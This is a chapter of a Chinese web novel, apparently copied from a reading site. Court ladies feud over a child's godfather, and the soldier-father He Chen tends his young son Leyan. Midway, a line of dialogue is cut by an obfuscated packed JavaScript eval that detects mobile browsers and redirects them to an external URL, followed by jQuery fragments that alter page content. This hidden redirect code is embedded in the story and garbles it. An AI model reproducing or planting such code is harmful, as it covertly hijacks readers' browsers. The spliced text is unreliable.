“这当兵的哪里会带孩子。”
“是呀,把乐言交给他们,真是让人提心吊胆。”
星都,一座豪门深宅的室内花园里,几个衣着繁复、争奇斗艳的贵妇,正优雅坐着,低声闲谈。
所谈的,赫然也是今晨的“爱苗苗”直播,是贺乐言这个备受关注的幼崽。
“你们说的是,不管琛儿还是云棋,都太粗心了,也太笨手笨脚,乐言一哭,他们各个傻眼。”花园正中,贺妃一袭典雅华贵的长裙,手中拿着枝娇嫩的玫瑰花,慢慢悠悠,边剔除杂叶边说。
“娘娘哪里话,我们说的是那些大兵,可不是殿下。”众贵妇忙开口。
“一样的,云棋不比他们强。”贺妃说。
“怎会一样,殿下俊朗迷人,温和聪慧,可比那些大兵强出不知多少……”
贵妇们笑着,奉承着,唯独一人,穿着身沉闷的黑色裙装,拿一把剪刀修剪着花枝,全然不理会这一套。
贺妃看了她一眼,眼波又转向其他人:“不聪慧也不怕,只要肯用心,总归能进步。云棋刚跟我说,他在学一门什么幼儿认知和心理发展课程了,还要考个证下来,以后一定能带好乐言。”
“哎呀,那殿下可真是用心了!”
“是啊,是啊,没想到,殿下肯下这份苦功,倒比贺——咳,倒比孩子他爸爸还靠谱些。”说话的夫人,看了黑色衣裙的女人一眼。
“琛儿忙,不像云棋闲工夫多,但多半也是肯学的,姐姐,你说呢?”贺妃秋水般的眼睛,看向黑衣女人。
——她的亲姐、贺琛的生母,贺雅韵。
“不喜欢小孩儿,学什么也没用。”贺雅韵阴沉沉说。
“不喜欢小孩儿——姐姐这是说谁,琛儿还是云棋?”
贺雅韵抬头看向贺妃,她五官和贺妃有五分相像,但神色阴鸷,比贺妃多了几分震慑人的气场:“自然都是。”
呵。贺妃笑得大气:“云棋也就算了,琛儿是姐姐亲儿子,姐姐怎么也这么不留情面?”
“姐姐眼里,谁才算喜欢小孩儿,谁才配养乐言,是不是只有思远才配啊?”
“思远性情稳重,自然是比他们合适。”贺雅韵神色冷傲答。看起来是没听出贺妃口中的嘲讽,或者听出了,也丝毫不在意。
所以,她是不打算理会自己这番敲打了。贺妃眼底划过一丝冷芒,口中却在打趣:“好姐姐,你还是偏心得没边啊。”
这话一说,场中贵妇交换眼神,不约而同,看向贺雅韵。
贺家重血脉,女儿等同儿子,多不外嫁,可招赘、可养面首,总之十分随性,她们所诞子女也同样姓贺,为贺家子。
上一代人受宇宙辐射影响低,生育虽难,还没今天这么难,贺家这位大姑奶奶贺雅韵运气极好,没有招赘,却和不同男人生有二子。好巧不巧,这两个儿子还年纪相仿,也就是体外孕育技术成熟了,不然真叫人担心她一个肚皮怎么够用。
不过据说大儿子贺思远的生父身份清白,是名不幸牺牲的军官,贺琛的生父却身份低贱,贺雅韵早年与他风流一度,很快分道扬镳,怕他纠缠,把贺琛这个孩子给了他,就此断绝音信。
没想到这人后来犯了重罪,狱中猝死,贺琛刚出生就流落到了福利院。
一直到他少年时觉醒,显露雪狼精神体,才被贺家发现,认祖归宗。
不过,认贺琛回来的是贺家族长,贺雅韵恨屋及乌,一直不太喜欢这个半路多出来的儿子。
听说当年认亲宴上,还是少年的贺琛叫她一声母亲,她竟当众变了脸拂袖而去,还有传言,说她当众给了少年一耳光,要他记住,她此生只有一个儿子。
要论偏心,还真没有谁能偏过这位。
听贺家姐妹这番机锋,贺雅韵是打算叫大儿子贺思远,来当那小天才贺乐言的教父?
啧,常言道手心手背都是肉,她这是恨不得剜掉手背,全贴在手心上啊。
“乏了,也该回去了。”扫过众人对贺雅韵指指点点、暗中议论的模样,贺妃神色舒展地站起身来,走到贺雅韵面前,停下脚步,“姐姐,孰亲孰疏,喜欢谁讨厌谁,都要看缘分,毕竟,亲母子也不一定就能合缘。”
刺了这一句,见她的好姐姐面无表情,她又慢悠悠开口:“来之前我还同陛下说起这事,陛下说了,谁合适做乐言的教父,还是让孩子自己选吧。姐姐看呢?”
“陛下既然有旨,自然听从。”贺雅韵冷漠看贺妃一眼。
那眼神,和多年前,她瞧见她玩那些白马王子和金发娃娃时的鄙夷不屑一模一样。
贺妃不由攥紧手里的花枝,指尖一痛,她又笑着松手,把花枝塞进贺雅韵手里,樱唇贴近贺雅韵耳边,如闺中蜜会,轻声细语道:“姐姐,颠倒乾坤,你有好本事,但一个赝品,什么都塞给他,小心福太薄,受不住呀。”
双眸交错,瞧见贺雅韵瞳孔震动,贺妃眼里也闪过一抹惊讶,随即娇笑一声,翩然离去。
贺雅韵看着她婀娜背影,面沉如水,右手不自觉用力,掌心被那花枝上的利刺,扎出颗殷红血珠来。
*
“答应你的事,已经做到了。”贺妃离开那座贵族宅院不久,远在汉河基地的贺琛,便收到一条加密渠道发来的信息。
发信人L。
“皇帝下旨了?”贺琛从地上坐起来,快速回复消息。
“是。”L言简意赅。
贺琛高兴,攥了下手掌,这才回复:“多谢。”
“不必。”L回,片刻,又追加一条,“谁做教父,可有人选?”
贺琛顿了顿,神色慎重起来,思虑一刻才回:“暂无。”
回罢,他同样也追加一条:“我可以为你卖命,我儿子不行。”
然后他面色沉肃,等着回复。
对方静默许久。
久到贺琛都以为对方忙别的去了,那边又忽然传回来一个字:“好。”
贺琛长长舒了口气。像放下什么很大负担似的,他弯了下唇角,仰面躺下,但转瞬,又猛地弹坐起来,有些无措,看着床上坐了起来,正揉眼睛的小人儿:“咳,乐言,你醒了?”
贺乐言揉眼睛的动作顿住了。
他看了眼坐在自己床边的“大怪物”,又转向小床另一边:
眼角余光,贺乐言看到有什么毛绒绒的大个头晃了下,从他床边消失,快得好像错觉,但贺乐言知道那不是错觉。
——因为它又晃了出来,埋着那张狼脸,巨大的爪子,无声无息、鬼鬼祟祟,把一只奶瓶放到贺乐言手边。
这才再次一晃,真的消失了。
贺琛脸色僵硬:“那个,奶泡好了,你没醒,我让它给你暖着来着。”
他说着,顿了顿,试探看向贺乐言:“它不是坏狼。”
“不过你害怕它也很正常,毕竟它有点吓人。”贺琛又说。
说完看小孩儿沉默不语,贺琛讪讪收了口,不再提什么好狼坏狼,只是用两根手指,小心把奶瓶又往贺乐言手边推了推。
贺乐言低头,注意到他戴了一只手套,包裹住了那只和正常人不一样的手。
贺乐言咬了咬嘴唇。其实他没有害怕他的手……
“
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16295100|182707||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
不饿吗?你睡了快六个小时了。”贺琛小心问,“还是不想喝奶?你想吃什么?听你文爸爸说——”
贺琛说到这,看见贺乐言终于有了点儿反应:小嘴巴瘪了瘪。
贺琛真想抽自己一巴掌:干嘛哪壶不开提哪壶?
好在,小孩儿只是嘴巴瘪了瘪。然后他十分坚强地抹了抹眼睛,往四周看了一圈,见房中空空荡荡的,没有多余的人影,认清了现实一样,把头扭回来,奶声问:“文爸爸说什么?”
“说你肠胃不错,小牙齿长得结实,已经能吃很多食物了。”
“文爸爸还说,让你放心待在这里,想吃什么、想玩什么就大胆说,不要害怕。”
——后面这句,是贺琛临场发挥。
不知道怎么,好像被小孩儿识破了:小孩儿看他一眼,大眼睛看得他一阵心虚。
然后小孩儿开始翻身往下爬。
“怎么了,你要干什么?”贺琛伸出手来,想抱,又不大敢,只是隔空护在小孩儿背后,看着小孩儿拱着屁股从床上爬下来。
床高了……贺琛认真思索着要不要把床脚锯一截。
贺乐言双脚落了地,大气沉稳回答他刚才的提问:“我要嘘嘘。”
*
“嘘嘘”归来,看见贺琛站在洗手间门口,贺乐言脸蛋带了一丝不明显的红,奶声奶气但认真严肃问:“你怎么不去工作?”
啊?贺琛快速思考了一瞬,才回答:“我今天休假。”
贺乐言一副不太信任他的样子,绕过他,走回床前,自己捧起奶瓶来,喝了两口奶,又看了仍然戳在旁边的贺琛一眼,纠结埋下头:他想身边有人陪,但,但不是陌生人。
“爸比说,每个人都要工作。”纠结之下,他再次强调。
“是,我天天工作,我热爱工作。”贺琛乖巧回答。
答完他静了半晌,忍不住问:“爸比是谁?”
贺乐言顿了顿,明显被勾起了伤心,咬着吸管,声音带点儿哽咽:“爸比就是爸比。”
又问错了……这个“爸比”比文爸爸还碰不得。
“那个,你别哭。”贺琛有点儿慌神,“你想他们,随时可以给他们打电话。”
“他们把你照顾得这么好,爸爸也正想好好感谢他们呢。”
他说着,有点儿酸,但也顾不上:“爸比是你在儿科病房的保育医生吗?他姓什么,你终端里应该有他的通讯号吧,咱们现在就打给他好不好?”
“不好,爸比很忙。”贺乐言抬起红红的大眼睛。
保育病房能忙到哪儿去,真会忽悠孩子。
贺乐言是因为精神力不稳定需要治疗师帮助巩固才住在医科院,但治疗师都是大忙人,不可能亲自上手照料一个婴儿,所以他是住在儿科的病房。
那位“爸比”能被贺乐言这么惦记,贺琛下意识以为他是贴身照料贺乐言的儿科保育医生。
说起来,他是应该当面感谢人家。
虽然有特殊理由,但这三年,他把崽完全交托给医科院是事实。崽认别人做“爸比”,他捏着鼻子也得认。
不但认,还得热情、尊重,好在贺乐言那里加点印象分。
咦,说起来,这还真是个好缺口。
贺琛暗赞了自己一句聪明,抬起腕上的终端,给贺乐言看时间:“已经六点,爸比应该下班了,我们试一试,打个电话给他吧。”
这回,贺乐言迟疑了一瞬,点了点头。
大怪物的热情让他觉得不对劲儿,但他真的很想爸比。
他抬起小手腕,唤醒终端,呼出了视频电话。